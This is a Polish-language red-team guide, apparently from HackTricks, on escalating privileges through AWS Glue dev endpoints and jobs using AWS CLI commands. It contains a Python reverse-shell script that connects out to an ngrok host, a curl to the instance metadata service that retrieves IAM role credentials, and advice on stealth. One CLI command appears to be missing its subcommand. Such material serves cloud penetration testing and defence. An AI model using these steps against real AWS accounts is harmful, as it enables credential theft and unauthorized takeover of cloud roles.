AWS - Glue Privesc

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Użytkownicy posiadający te uprawnienia mogą skonfigurować nowy punkt końcowy deweloperski AWS Glue, przypisując istniejącą rolę usługi, którą można przejąć przez Glue z określonymi uprawnieniami do tego punktu końcowego.

Po skonfigurowaniu atakujący może uzyskać dostęp SSH do instancji punktu końcowego i ukraść poświadczenia IAM przypisanej roli:

# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

W celu zachowania dyskrecji zaleca się korzystanie z poświadczeń IAM z wirtualnej maszyny Glue.

Potencjalny wpływ: Eskalacja uprawnień do określonej roli usługi Glue.

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Użytkownicy z tym uprawnieniem mogą zmieniać istniejący punkt końcowy deweloperski Glue, umożliwiając dostęp SSH do niego. Pozwala to atakującemu wykonywać polecenia z uprawnieniami przypisanej roli punktu końcowego:

# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Potencjalne skutki: Eskalacja uprawnień do roli usługi Glue.

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

Użytkownicy posiadający uprawnienia iam:PassRole w połączeniu z glue:CreateJob lub glue:UpdateJob, oraz z glue:StartJobRun lub glue:CreateTrigger mogą tworzyć lub aktualizować zadanie AWS Glue, przypisując dowolne konto usługi Glue, i uruchamiać wykonanie zadania. Możliwości zadania obejmują uruchamianie arbitralnego kodu Pythona, który może zostać wykorzystany do ustanowienia powrotnej powłoki. Następnie powrotną powłokę można wykorzystać do wycieku poświadczeń IAM przypisanych do roli przypisanej do zadania Glue, co prowadzi do potencjalnego nieautoryzowanego dostępu lub działań na podstawie uprawnień tej roli:

# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

Potencjalny wpływ: Przywileje do roli usługi glue określonej.

glue:UpdateJob

Tylko z uprawnieniami do aktualizacji atakujący mógłby ukraść poświadczenia IAM już przypisanej roli.

Potencjalny wpływ: Przywileje do roli usługi glue przypisanej.

Odnośniki

Zdobądź wiedzę na temat hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated